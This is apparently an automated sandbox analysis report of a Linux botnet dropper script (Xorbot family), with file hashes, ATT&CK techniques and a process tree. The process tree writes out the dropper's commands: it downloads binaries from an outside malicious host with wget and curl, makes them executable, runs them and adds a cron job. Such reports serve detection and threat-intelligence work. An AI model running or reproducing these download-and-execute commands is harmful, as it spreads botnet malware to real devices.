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Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/02/2025, 12:35
Static task
static1
Behavioral task
behavioral1
Sample
BZTS9_bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
BZTS9_bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
BZTS9_bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
BZTS9_bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
BZTS9_bins.sh
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Size
10KB
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MD5
5f5a8beaeee13fdd7a462ebf3797535c
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SHA1
982824d6165ed0668b25d6765b631170fc8bbd1d
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SHA256
d3d3f91578e875f1bf3302e63df0e3d51179d6f4e0c3cdcdc4fd7eef1027fc81
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SHA512
1569973908da43ee2f414331f4f81ec6106545ec4140272be439351c81bf2e2b27877e9e444c1e7290f195510f59b475de7885999bcc273392e0a0a778b7f01a
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SSDEEP
96:YokU5Utt6LLnXIEgLsXasZeEINqKqCqE5FJLeOILQAQ8Q8rLNL04hyK1mZEZIZZy:75tgd4t/NYQ3SuaZNnEb7YQ3Su4ZNnY
Malware Config
Signatures
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resource yara_rule behavioral2/files/fstream-1.dat family_xorbot behavioral2/files/fstream-3.dat family_xorbot -
Xorbot family
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Contacts a large (1637) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 756 chmod 770 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F 757 BZTS9_bins.sh /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 771 BZTS9_bins.sh -
Renames itself 1 IoCs
pid Process 772 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.6gtWbg crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/876/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/924/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/5/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/29/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/137/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/796/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/887/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/908/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/811/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/842/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/849/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/867/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/883/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/944/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/269/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/820/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/827/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/885/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/909/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/3/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/818/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/838/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/866/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/9/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/643/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/817/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/98/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/143/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/789/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/878/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/915/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/945/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/7/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/219/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/41/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/804/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/850/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/857/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/933/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/947/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/109/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/808/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/823/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/834/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/856/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/819/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/1/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/798/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/826/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/829/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/830/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/812/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/860/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/586/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/797/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/888/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/106/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/581/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/848/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/892/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/19/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/13/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/644/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 File opened for reading /proc/792/cmdline hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 -
System Network Configuration Discovery 1 TTPs 7 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 755 busybox 761 wget 762 curl 766 busybox 781 wget 652 wget 753 curl -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F curl File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F busybox File opened for modification /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 wget File opened for modification /tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74 curl File opened for modification /tmp/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X wget File opened for modification /tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F wget
Processes
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/tmp/BZTS9_bins.sh/tmp/BZTS9_bins.sh1⤵
- Executes dropped EXE
PID:645 -
/bin/rm/bin/rm bins.sh2⤵PID:647
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:652
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:753
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:755
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/bin/chmodchmod 777 coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵
- File and Directory Permissions Modification
PID:756
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/tmp/coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F./coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵PID:757
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/bin/rmrm coICFqXGGl2s21xpUiwHdrnr46yGHCoa0F2⤵PID:760
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:761
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
PID:762
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- System Network Configuration Discovery
PID:766
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/bin/chmodchmod 777 hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- File and Directory Permissions Modification
PID:770
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/tmp/hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl74./hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵
- Renames itself
- Reads runtime system information
PID:771 -
/bin/shsh -c "crontab -l"3⤵PID:773
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/usr/bin/crontabcrontab -l4⤵PID:774
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/bin/shsh -c "crontab -"3⤵PID:775
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:776
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/bin/rmrm hzVfujj1cVttgkMwNDw0PuQ81pOU8UYl742⤵PID:778
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/6G97IYt8gwxHmuwzdX3XJSZbLwlVZubf0X2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:781
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
91KB
MD540cb90a9e9780b1e8562edc290308f4e
SHA1cd87821e8ea77ab3cddff8d02c218173d3518f39
SHA25680c6702a2bf380f77d80778024f1553bd9459ebf9cf24c319854bb867e2cca51
SHA51251cebb3ffcd94ea48cb594e9ab6cce488738639005fb852aa63a6e7fd797a7702d980219d0ce822f451673e5fd3b5f215fa9830141699a37529e6ddc6fcb2ea1
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD5635ef9f33cc8d91ddc8ccbc2bc58d991
SHA160147664d5e5ad7f82c1767108a41524527ac9e0
SHA2564b015d228c9d8a1cd3cc43f4820204d5ba5229b0e380c623d59d3a21810a9998
SHA5129d2fad6fc05cf4cca63fea8e1cb9c6f443d49da5d7fa55248b6457cc63fc0590c95bcf7a2ebdd3866affb07e754f3c5edacade42e2a010c891bef8196271bd0e